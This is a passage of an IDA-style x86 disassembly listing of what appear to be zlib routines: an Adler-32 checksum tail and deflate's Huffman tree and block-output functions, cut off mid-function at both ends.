add ecx, [ebp+var_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx+0Ch]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax+0Dh]
mov edx, [ebp+var_4]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, [ebp+var_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx+0Eh]
mov eax, [ebp+var_4]
add eax, edx
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
add ecx, [ebp+var_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx+0Fh]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
add eax, 10h
mov [ebp+arg_4], eax
mov ecx, [ebp+var_C]
sub ecx, 10h
mov [ebp+var_C], ecx
jmp loc_4C1741
; ---------------------------------------------------------------------------
loc_4C18F1: ; CODE XREF: sub_4C16E0+65j
cmp [ebp+var_C], 0
jz short loc_4C1927
loc_4C18F7: ; CODE XREF: sub_4C16E0+245j
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
mov eax, [ebp+var_8]
add eax, [ebp+var_4]
mov [ebp+var_8], eax
mov ecx, [ebp+var_C]
sub ecx, 1
mov [ebp+var_C], ecx
cmp [ebp+var_C], 0
jnz short loc_4C18F7
loc_4C1927: ; CODE XREF: sub_4C16E0+215j
mov eax, [ebp+var_4]
xor edx, edx
mov ecx, 0FFF1h
div ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
xor edx, edx
mov ecx, 0FFF1h
div ecx
mov [ebp+var_8], edx
jmp loc_4C1710
; ---------------------------------------------------------------------------
loc_4C194A: ; CODE XREF: sub_4C16E0+34j
mov eax, [ebp+var_8]
shl eax, 10h
or eax, [ebp+var_4]
loc_4C1953: ; CODE XREF: sub_4C16E0+2Bj
mov esp, ebp
pop ebp
retn
sub_4C16E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C1960 proc near ; CODE XREF: sub_4BE9C1+B7p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
call __initp_misc_winxfltr
mov eax, [ebp+arg_0]
add eax, 8Ch
mov ecx, [ebp+arg_0]
mov [ecx+0B10h], eax
mov edx, [ebp+arg_0]
mov dword ptr [edx+0B18h], offset off_4EDF18
mov eax, [ebp+arg_0]
add eax, 980h
mov ecx, [ebp+arg_0]
mov [ecx+0B1Ch], eax
mov edx, [ebp+arg_0]
mov dword ptr [edx+0B24h], offset off_4EDF30
mov eax, [ebp+arg_0]
add eax, 0A74h
mov ecx, [ebp+arg_0]
mov [ecx+0B28h], eax
mov edx, [ebp+arg_0]
mov dword ptr [edx+0B30h], offset dword_4EDF48
mov eax, [ebp+arg_0]
mov word ptr [eax+16B0h], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+16B4h], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+16ACh], 8
mov eax, [ebp+arg_0]
push eax
call sub_4C19FB
add esp, 4
pop ebp
retn
sub_4C1960 endp
; [00000005 BYTES: COLLAPSED FUNCTION __initp_misc_winxfltr. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C19FB proc near ; CODE XREF: sub_4C1960+8Cp
; sub_4C20F2+39Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_4C1A11
; ---------------------------------------------------------------------------
loc_4C1A08: ; CODE XREF: sub_4C19FB+2Fj
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_4C1A11: ; CODE XREF: sub_4C19FB+Bj
cmp [ebp+var_4], 11Eh
jge short loc_4C1A2C
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov word ptr [edx+ecx*4+8Ch], 0
jmp short loc_4C1A08
; ---------------------------------------------------------------------------
loc_4C1A2C: ; CODE XREF: sub_4C19FB+1Dj
mov [ebp+var_4], 0
jmp short loc_4C1A3E
; ---------------------------------------------------------------------------
loc_4C1A35: ; CODE XREF: sub_4C19FB+59j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_4C1A3E: ; CODE XREF: sub_4C19FB+38j
cmp [ebp+var_4], 1Eh
jge short loc_4C1A56
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov word ptr [edx+ecx*4+980h], 0
jmp short loc_4C1A35
; ---------------------------------------------------------------------------
loc_4C1A56: ; CODE XREF: sub_4C19FB+47j
mov [ebp+var_4], 0
jmp short loc_4C1A68
; ---------------------------------------------------------------------------
loc_4C1A5F: ; CODE XREF: sub_4C19FB+83j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_4C1A68: ; CODE XREF: sub_4C19FB+62j
cmp [ebp+var_4], 13h
jge short loc_4C1A80
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov word ptr [edx+ecx*4+0A74h], 0
jmp short loc_4C1A5F
; ---------------------------------------------------------------------------
loc_4C1A80: ; CODE XREF: sub_4C19FB+71j
mov eax, [ebp+arg_0]
mov word ptr [eax+48Ch], 1
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+16A4h], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+16A0h], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax+16A8h], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+1698h], 0
mov esp, ebp
pop ebp
retn
sub_4C19FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C1AC4 proc near ; CODE XREF: sub_4BEBAE+2B4p
; sub_4C20F2+D1p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], 3
mov eax, 10h
sub eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
cmp [ecx+16B4h], eax
jle loc_4C1BAF
mov edx, [ebp+arg_C]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov edx, [ebp+var_8]
mov ecx, [eax+16B4h]
shl edx, cl
mov eax, [ebp+arg_0]
mov cx, [eax+16B0h]
or cx, dx
mov edx, [ebp+arg_0]
mov [edx+16B0h], cx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+16B0h]
and ecx, 0FFh
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov edx, [ebp+arg_0]
mov edx, [edx+14h]
mov [eax+edx], cl
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+14h], ecx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+16B0h]
sar ecx, 8
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov edx, [ebp+arg_0]
mov edx, [edx+14h]
mov [eax+edx], cl
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+14h], ecx
mov eax, [ebp+var_8]
and eax, 0FFFFh
mov ecx, [ebp+arg_0]
mov edx, 10h
sub edx, [ecx+16B4h]
mov ecx, edx
sar eax, cl
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], ax
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
mov ecx, [ebp+var_4]
lea edx, [eax+ecx-10h]
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
jmp short loc_4C1BE9
; ---------------------------------------------------------------------------
loc_4C1BAF: ; CODE XREF: sub_4C1AC4+1Ej
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_C]
mov ecx, [ecx+16B4h]
shl edx, cl
mov eax, [ebp+arg_0]
mov cx, [eax+16B0h]
or cx, dx
mov edx, [ebp+arg_0]
mov [edx+16B0h], cx
mov eax, [ebp+arg_0]
mov ecx, [eax+16B4h]
add ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov [edx+16B4h], ecx
loc_4C1BE9: ; CODE XREF: sub_4C1AC4+E9j
push 1
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4C4C42
add esp, 10h
mov esp, ebp
pop ebp
retn
sub_4C1AC4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C1C03 proc near ; CODE XREF: sub_4BEBAE+2A0p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_4], 3
mov eax, 10h
sub eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
cmp [ecx+16B4h], eax
jle loc_4C1CEE
mov [ebp+var_8], 2
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov ecx, [edx+16B4h]
shl eax, cl
mov ecx, [ebp+arg_0]
mov dx, [ecx+16B0h]
or dx, ax
mov eax, [ebp+arg_0]
mov [eax+16B0h], dx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
and edx, 0FFh
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
sar edx, 8
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov edx, [ebp+var_8]
and edx, 0FFFFh
mov eax, [ebp+arg_0]
mov ecx, 10h
sub ecx, [eax+16B4h]
sar edx, cl
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], dx
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
mov ecx, [ebp+var_4]
lea edx, [eax+ecx-10h]
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
jmp short loc_4C1D2A
; ---------------------------------------------------------------------------
loc_4C1CEE: ; CODE XREF: sub_4C1C03+1Ej
mov ecx, [ebp+arg_0]
mov edx, 2
mov ecx, [ecx+16B4h]
shl edx, cl
mov eax, [ebp+arg_0]
mov cx, [eax+16B0h]
or cx, dx
mov edx, [ebp+arg_0]
mov [edx+16B0h], cx
mov eax, [ebp+arg_0]
mov ecx, [eax+16B4h]
add ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov [edx+16B4h], ecx
loc_4C1D2A: ; CODE XREF: sub_4C1C03+E9j
xor eax, eax
mov ax, word_4F29AA
mov [ebp+var_C], eax
mov ecx, 10h
sub ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
cmp [edx+16B4h], ecx
jle loc_4C1E18
xor eax, eax
mov ax, word_4F29A8
mov [ebp+var_10], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_10]
mov ecx, [ecx+16B4h]
shl edx, cl
mov eax, [ebp+arg_0]
mov cx, [eax+16B0h]
or cx, dx
mov edx, [ebp+arg_0]
mov [edx+16B0h], cx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+16B0h]
and ecx, 0FFh
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov edx, [ebp+arg_0]
mov edx, [edx+14h]
mov [eax+edx], cl
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+14h], ecx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+16B0h]
sar ecx, 8
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov edx, [ebp+arg_0]
mov edx, [edx+14h]
mov [eax+edx], cl
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+14h], ecx
mov eax, [ebp+var_10]
and eax, 0FFFFh
mov ecx, [ebp+arg_0]
mov edx, 10h
sub edx, [ecx+16B4h]
mov ecx, edx
sar eax, cl
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], ax
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
mov ecx, [ebp+var_C]
lea edx, [eax+ecx-10h]
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
jmp short loc_4C1E5A
; ---------------------------------------------------------------------------
loc_4C1E18: ; CODE XREF: sub_4C1C03+143j
xor ecx, ecx
mov cx, word_4F29A8
mov edx, ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+16B4h]
shl edx, cl
mov ecx, [ebp+arg_0]
mov ax, [ecx+16B0h]
or ax, dx
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], ax
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
add eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov [ecx+16B4h], eax
loc_4C1E5A: ; CODE XREF: sub_4C1C03+213j
mov edx, [ebp+arg_0]
push edx
call sub_4C4A9D
add esp, 4
mov eax, [ebp+arg_0]
mov ecx, [eax+16ACh]
add ecx, 0Bh
mov edx, [ebp+arg_0]
sub ecx, [edx+16B4h]
cmp ecx, 9
jge loc_4C20E1
mov [ebp+var_14], 3
mov eax, 10h
sub eax, [ebp+var_14]
mov ecx, [ebp+arg_0]
cmp [ecx+16B4h], eax
jle loc_4C1F69
mov [ebp+var_18], 2
mov edx, [ebp+arg_0]
mov eax, [ebp+var_18]
mov ecx, [edx+16B4h]
shl eax, cl
mov ecx, [ebp+arg_0]
mov dx, [ecx+16B0h]
or dx, ax
mov eax, [ebp+arg_0]
mov [eax+16B0h], dx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
and edx, 0FFh
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
sar edx, 8
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov edx, [ebp+var_18]
and edx, 0FFFFh
mov eax, [ebp+arg_0]
mov ecx, 10h
sub ecx, [eax+16B4h]
sar edx, cl
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], dx
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
mov ecx, [ebp+var_14]
lea edx, [eax+ecx-10h]
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
jmp short loc_4C1FA5
; ---------------------------------------------------------------------------
loc_4C1F69: ; CODE XREF: sub_4C1C03+299j
mov ecx, [ebp+arg_0]
mov edx, 2
mov ecx, [ecx+16B4h]
shl edx, cl
mov eax, [ebp+arg_0]
mov cx, [eax+16B0h]
or cx, dx
mov edx, [ebp+arg_0]
mov [edx+16B0h], cx
mov eax, [ebp+arg_0]
mov ecx, [eax+16B4h]
add ecx, [ebp+var_14]
mov edx, [ebp+arg_0]
mov [edx+16B4h], ecx
loc_4C1FA5: ; CODE XREF: sub_4C1C03+364j
xor eax, eax
mov ax, word_4F29AA
mov [ebp+var_1C], eax
mov ecx, 10h
sub ecx, [ebp+var_1C]
mov edx, [ebp+arg_0]
cmp [edx+16B4h], ecx
jle loc_4C2093
xor eax, eax
mov ax, word_4F29A8
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_20]
mov ecx, [ecx+16B4h]
shl edx, cl
mov eax, [ebp+arg_0]
mov cx, [eax+16B0h]
or cx, dx
mov edx, [ebp+arg_0]
mov [edx+16B0h], cx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+16B0h]
and ecx, 0FFh
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov edx, [ebp+arg_0]
mov edx, [edx+14h]
mov [eax+edx], cl
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+14h], ecx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+16B0h]
sar ecx, 8
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov edx, [ebp+arg_0]
mov edx, [edx+14h]
mov [eax+edx], cl
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+14h], ecx
mov eax, [ebp+var_20]
and eax, 0FFFFh
mov ecx, [ebp+arg_0]
mov edx, 10h
sub edx, [ecx+16B4h]
mov ecx, edx
sar eax, cl
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], ax
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
mov ecx, [ebp+var_1C]
lea edx, [eax+ecx-10h]
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
jmp short loc_4C20D5
; ---------------------------------------------------------------------------
loc_4C2093: ; CODE XREF: sub_4C1C03+3BEj
xor ecx, ecx
mov cx, word_4F29A8
mov edx, ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+16B4h]
shl edx, cl
mov ecx, [ebp+arg_0]
mov ax, [ecx+16B0h]
or ax, dx
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], ax
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
add eax, [ebp+var_1C]
mov ecx, [ebp+arg_0]
mov [ecx+16B4h], eax
loc_4C20D5: ; CODE XREF: sub_4C1C03+48Ej
mov edx, [ebp+arg_0]
push edx
call sub_4C4A9D
add esp, 4
loc_4C20E1: ; CODE XREF: sub_4C1C03+27Bj
mov eax, [ebp+arg_0]
mov dword ptr [eax+16ACh], 7
mov esp, ebp
pop ebp
retn
sub_4C1C03 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C20F2 proc near ; CODE XREF: sub_4BF490+F0p
; sub_4BF490+178p ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
cmp dword ptr [eax+7Ch], 0
jle loc_4C2193
mov ecx, [ebp+arg_0]
xor edx, edx
mov dl, [ecx+1Ch]
cmp edx, 2
jnz short loc_4C2125
mov eax, [ebp+arg_0]
push eax
call sub_4C49AA
add esp, 4
loc_4C2125: ; CODE XREF: sub_4C20F2+25j
mov ecx, [ebp+arg_0]
add ecx, 0B10h
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4C24AE
add esp, 8
mov eax, [ebp+arg_0]
add eax, 0B1Ch
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4C24AE
add esp, 8
mov edx, [ebp+arg_0]
push edx
call sub_4C2DE5
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
mov ecx, [eax+16A0h]
add ecx, 0Ah
shr ecx, 3
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+16A4h]
add eax, 0Ah
shr eax, 3
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp ecx, [ebp+var_C]
ja short loc_4C2191
mov edx, [ebp+var_8]
mov [ebp+var_C], edx
loc_4C2191: ; CODE XREF: sub_4C20F2+97j
jmp short loc_4C21A2
; ---------------------------------------------------------------------------
loc_4C2193: ; CODE XREF: sub_4C20F2+14j
mov eax, [ebp+arg_8]
add eax, 5
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
mov [ebp+var_C], ecx
loc_4C21A2: ; CODE XREF: sub_4C20F2:loc_4C2191j
mov edx, [ebp+arg_8]
add edx, 4
cmp edx, [ebp+var_C]
ja short loc_4C21D0
cmp [ebp+arg_4], 0
jz short loc_4C21D0
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4C1AC4
add esp, 10h
jmp loc_4C248C
; ---------------------------------------------------------------------------
loc_4C21D0: ; CODE XREF: sub_4C20F2+B9j
; sub_4C20F2+BFj
mov ecx, [ebp+var_8]
cmp ecx, [ebp+var_C]
jnz loc_4C231B
mov [ebp+var_10], 3
mov edx, 10h
sub edx, [ebp+var_10]
mov eax, [ebp+arg_0]
cmp [eax+16B4h], edx
jle loc_4C22C3
mov ecx, [ebp+arg_C]
add ecx, 2
mov [ebp+var_14], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_14]
mov ecx, [edx+16B4h]
shl eax, cl
mov ecx, [ebp+arg_0]
mov dx, [ecx+16B0h]
or dx, ax
mov eax, [ebp+arg_0]
mov [eax+16B0h], dx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
and edx, 0FFh
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
sar edx, 8
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov edx, [ebp+var_14]
and edx, 0FFFFh
mov eax, [ebp+arg_0]
mov ecx, 10h
sub ecx, [eax+16B4h]
sar edx, cl
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], dx
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
mov ecx, [ebp+var_10]
lea edx, [eax+ecx-10h]
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
jmp short loc_4C2300
; ---------------------------------------------------------------------------
loc_4C22C3: ; CODE XREF: sub_4C20F2+102j
mov edx, [ebp+arg_C]
add edx, 2
mov eax, [ebp+arg_0]
mov ecx, [eax+16B4h]
shl edx, cl
mov ecx, [ebp+arg_0]
mov ax, [ecx+16B0h]
or ax, dx
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], ax
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
add eax, [ebp+var_10]
mov ecx, [ebp+arg_0]
mov [ecx+16B4h], eax
loc_4C2300: ; CODE XREF: sub_4C20F2+1CFj
push offset dword_4F2A28
push offset dword_4F25A8
mov edx, [ebp+arg_0]
push edx
call sub_4C4162
add esp, 0Ch
jmp loc_4C248C
; ---------------------------------------------------------------------------
loc_4C231B: ; CODE XREF: sub_4C20F2+E4j
mov [ebp+var_18], 3
mov eax, 10h
sub eax, [ebp+var_18]
mov ecx, [ebp+arg_0]
cmp [ecx+16B4h], eax
jle loc_4C2403
mov edx, [ebp+arg_C]
add edx, 4
mov [ebp+var_1C], edx
mov eax, [ebp+arg_0]
mov edx, [ebp+var_1C]
mov ecx, [eax+16B4h]
shl edx, cl
mov eax, [ebp+arg_0]
mov cx, [eax+16B0h]
or cx, dx
mov edx, [ebp+arg_0]
mov [edx+16B0h], cx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+16B0h]
and ecx, 0FFh
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov edx, [ebp+arg_0]
mov edx, [edx+14h]
mov [eax+edx], cl
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+14h], ecx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+16B0h]
sar ecx, 8
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov edx, [ebp+arg_0]
mov edx, [edx+14h]
mov [eax+edx], cl
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+14h], ecx
mov eax, [ebp+var_1C]
and eax, 0FFFFh
mov ecx, [ebp+arg_0]
mov edx, 10h
sub edx, [ecx+16B4h]
mov ecx, edx
sar eax, cl
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], ax
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
mov ecx, [ebp+var_18]
lea edx, [eax+ecx-10h]
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
jmp short loc_4C2440
; ---------------------------------------------------------------------------
loc_4C2403: ; CODE XREF: sub_4C20F2+241j
mov edx, [ebp+arg_C]
add edx, 4
mov eax, [ebp+arg_0]
mov ecx, [eax+16B4h]
shl edx, cl
mov ecx, [ebp+arg_0]
mov ax, [ecx+16B0h]
or ax, dx
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], ax
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
add eax, [ebp+var_18]
mov ecx, [ebp+arg_0]
mov [ecx+16B4h], eax
loc_4C2440: ; CODE XREF: sub_4C20F2+30Fj
mov edx, [ebp+var_4]
add edx, 1
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+0B20h]
add ecx, 1
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+0B14h]
add eax, 1
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4C3039
add esp, 10h
mov edx, [ebp+arg_0]
add edx, 980h
push edx
mov eax, [ebp+arg_0]
add eax, 8Ch
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4C4162
add esp, 0Ch
loc_4C248C: ; CODE XREF: sub_4C20F2+D9j
; sub_4C20F2+224j
mov edx, [ebp+arg_0]
push edx
call sub_4C19FB
add esp, 4
cmp [ebp+arg_C], 0
jz short loc_4C24AA
mov eax, [ebp+arg_0]
push eax
call sub_4C4B86
add esp, 4
loc_4C24AA: ; CODE XREF: sub_4C20F2+3AAj
mov esp, ebp
pop ebp
retn
sub_4C20F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C24AE proc near ; CODE XREF: sub_4C20F2+41p
; sub_4C20F2+56p ...
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push esi
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+var_10], ecx
mov edx, [ebp+arg_4]
mov eax, [edx+8]
mov ecx, [eax]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_4]
mov eax, [edx+8]
mov ecx, [eax+0Ch]
mov [ebp+var_8], ecx
mov [ebp+var_18], 0FFFFFFFFh
mov edx, [ebp+arg_0]
mov dword ptr [edx+1448h], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax+144Ch], 23Dh
mov [ebp+var_1C], 0
jmp short loc_4C2507
; ---------------------------------------------------------------------------
loc_4C24FE: ; CODE XREF: sub_4C24AE:loc_4C256Cj
mov ecx, [ebp+var_1C]
add ecx, 1
mov [ebp+var_1C], ecx
loc_4C2507: ; CODE XREF: sub_4C24AE+4Ej
mov edx, [ebp+var_1C]
cmp edx, [ebp+var_8]
jge short loc_4C256E
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_10]
xor edx, edx
mov dx, [ecx+eax*4]
test edx, edx
jz short loc_4C255F
mov eax, [ebp+var_1C]
mov [ebp+var_18], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+1448h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+1448h], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1448h]
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_18]
mov [eax+edx*4+0B54h], ecx
mov edx, [ebp+arg_0]
add edx, [ebp+var_1C]
mov byte ptr [edx+1450h], 0
jmp short loc_4C256C
; ---------------------------------------------------------------------------
loc_4C255F: ; CODE XREF: sub_4C24AE+6Fj
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_10]
mov word ptr [ecx+eax*4+2], 0
loc_4C256C: ; CODE XREF: sub_4C24AE+AFj
jmp short loc_4C24FE
; ---------------------------------------------------------------------------
loc_4C256E: ; CODE XREF: sub_4C24AE+5Fj
; sub_4C24AE:loc_4C2622j
mov edx, [ebp+arg_0]
cmp dword ptr [edx+1448h], 2
jge loc_4C2627
cmp [ebp+var_18], 2
jge short loc_4C2595
mov eax, [ebp+var_18]
add eax, 1
mov [ebp+var_18], eax
